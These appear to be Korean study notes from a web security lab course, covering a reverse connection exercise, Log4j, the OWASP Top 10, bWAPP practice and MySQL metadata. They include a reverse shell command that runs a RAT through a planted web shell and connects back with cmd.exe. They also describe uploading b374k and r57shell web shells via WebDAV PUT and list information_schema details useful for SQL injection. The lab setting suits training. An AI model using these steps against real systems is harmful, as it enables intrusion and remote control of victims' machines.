1. Reverse Connection
- Attacker : Server : Ubuntu
- Victim : Client : Windows2003
- 조건 : Victim에는 사전에 웹쉘과 RAT가 설치
1) Ubuntu에서 8000포트는 열어둔다.

2) Victim에 사전에 깔아둔 웹쉘을 이용한다.


3) 웹쉘을 이용하여 윈도우에 c:\wine.exe 192.168.5.128 8000 -e cmd.exe 커맨드를 입력, wine.exe 라는 RAT를 실행하여 ubuntu 8000포트로 연결한다.

4) ubuntu를 확인

5) 연결 확인 및 명령어 실험

2. Log4j(log for j)
- Log4j는 Java/Kotlin/Scala/Groovy/Clojure 코딩 도중에 프로그램의 로그를 기록해주는 라이브러리로, 이클립스, IntelliJ IDEA, 안드로이드 스튜디오 등에 추가해서 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해주는 기능을 한다.
- 국내에서는 스프링 프레임워크를 기반으로 한 전자 정부 프레임워크 등에서 Log4j를 사용하고 있다. 또한 도커 및 쿠버네티스 등을 통해 컨테이너를 기반으로 운영 중인 다양한 서비스에서도 Log4j가 사용되고 있
- 대응방법
- 명백한 허용을 제외하고 모두 거부 (Deny All Philosophy : 모든 것을 거부하는 원칙)
- 디렉토리 리스팅을 차단한다. 다만 관리자가 일부러 디렉토리 리스팅을 하는 경우는 상관이 없다. 하지만 관리자가 모르는 상태에서 디렉토리가 리스팅된다면 모든 파일이 인터넷에 노출되게 되는데 이런한 경우가 큰 문제가 된다.
- 쿠키값을 제대로 만료하지 않을 경우에 로그아웃하기 전에 쿠키값을 복사하고 로그아웃하여 복사한 쿠키를 로그아웃 이후에 붙여넣기하고 재방문할시에 사용자로 계속 인식
3. OWASP Top 10
1) OWASP이란
- 가장 최신의 웹 보안 트렌드를 알 수 있음
- 전세계 보안 전문가들을 대상으로 설문---> 취합해서 정리해서 순위를 정함
- 상위 10개의 취약점이 전체의 약 95%에 해당
2) 순위
- A01 Broken Access Control
- 접근 통제 관리 필요성 : 권한을 적절하게 부여 (Least Privilege : 최소한의 특권, Need to Know : 알필요에 근거)
- 접근 관리(읽기, 쓰기, 수정, 복사, 삭제, 출력), 사용자에 대한 등급/카테고리 고려, 그룹단위 관리 등등
- A02 Cryptographic Failures
- 민감한 데이터의 노출 : Crawler(검색엔진들이 사용하는 수집용 도구)의 숫자 증가, 성능 증가 ---> 검색 많이 됨
- 개인정보와 관련된 Compliance들이 요구수준이 높아짐
- A03 Injection
- SQL인젝션, OS Command Injection등의 증가 ----> 대응 방법이 많이 알려져서 순위가 약간 내려감
- XSS가 따로 분류되지 않고 Injection에 포함됨
- A04 Insecure Design
- 보안이 고려된 설계의 의무화 ----> 경험없는 개발자, 보안에 대한 교육을 받지 못한 개발자
- 대충 만들고 나중에 보완하려면 비용이 더 많이 발생
- A05 Security Misconfiguration
- A06 Vulnerable and Outdated Components
- 취약하고 오래된 요소들을 사용 ex) SSL3.0, TLS1.0등을 아직도 사용하면 안됨
- A07 Identification and Authentication Failures
- 로그인 문제, 인증(지식, 소유, 생체, 위치기반)문제가 Mobile때문에 강화된 측면---> 순위 내려감
- A08 Software and Data Integrity Failures
- A09 Security Logging and Monitoring Failures
- 로그 양이 많고 실시간 분석 ---> 최근에는 ML, AI을 활용
- A10 Server Side Request Forgery (SSRF)
4. 실습
1. A01 Broken Access Control
http://192.168.5.141/jsp/cmnt_view02.jsp?num=1
view
http://192.168.5.141/jsp/cmnt_write.jsp?num=1
변경

1) 프록시 이용를 이용한 파일 업로드

- 사전에 vmware을 이용하여 beebug연결 하였음

- BWAPP의 WebDav에 접속
※ WebDAV란? 웹을 개발할 때 여러 개발자들이 파일을 업로드 하고 수정 및 삭제 등을 위해 열어놓은 디렉토리이다.


- 방법은 아래의 사항을 노란부분과 같이 변경
- GET > PUT
- test.test(파일이름)추가
- 파일 내용 추가

- 이것을 응용하여 b374k파일 추가가 가능하다.

- WebDav에서 b374k파일 확인
2)리눅스
- 사전에 vmware을 이용하여 beebug와 열었으며 kali의 바탕화면에 r57shell.php 다운받고 cmd창을 열어 사전에 준비하였다.

- 사용한 명령문 (사진 중간에 실수있음 주의! )

A02 Cryptographic Failures
- 암호화 및 복호화하는데 컴퓨터 연산량이 많아지는 문제 ----> 서버 부하
- 오래된 웹사이트, 옛날에 만든 페이지가 그대로 남아있는 경우
- 처음에는 안전한 암호화였으나, 시간이 지남에 따라 컴퓨터의 성능이 엄청나게 발전해서 쉽게 크래킹 될 수 있는 상태가 됨
- 대칭키 : DES, 3DES, RC4 등등, ECB방식
- 공개키 : RSA1024bit 이하
- 해시함수 : MD5, SHA1, LMhash, NThash 등
cf. SEED : 우리나라에서 만든 대칭키, 아직까지는 안전한 것으로 판단 ----> 은행 중앙망에서 사용
알면 좋은 것
- 일부 허용
User-Agent : googlebot
Allow:/
구글봇만 허용하며 구글봇은 모든 디렉토리 허용
- MySQL에서 데이터베이스에 대한 정보는 information_schema라고 하는 데이터베이스에 저장되어 있음 (메타데이터)
- 테이블이름은 information_schema.tables라는 테이블에 table_name이라는 컬럼에 저장되어 있다.
- 컬럼 이름은 information_schema.columns라는 테이블에 column_name이라는 컬럼에 저장되어 있다.
- DB이름은 table_schema라는 컬럼에 저장되어 있다.
- 내부함수
database() : 데이터베이스 이름을 확인하는 함수
version() : 버전을 확인하는 함수
@@version : 버전을 확인하는 함수
user( ) : 사용자를 확인하는 함수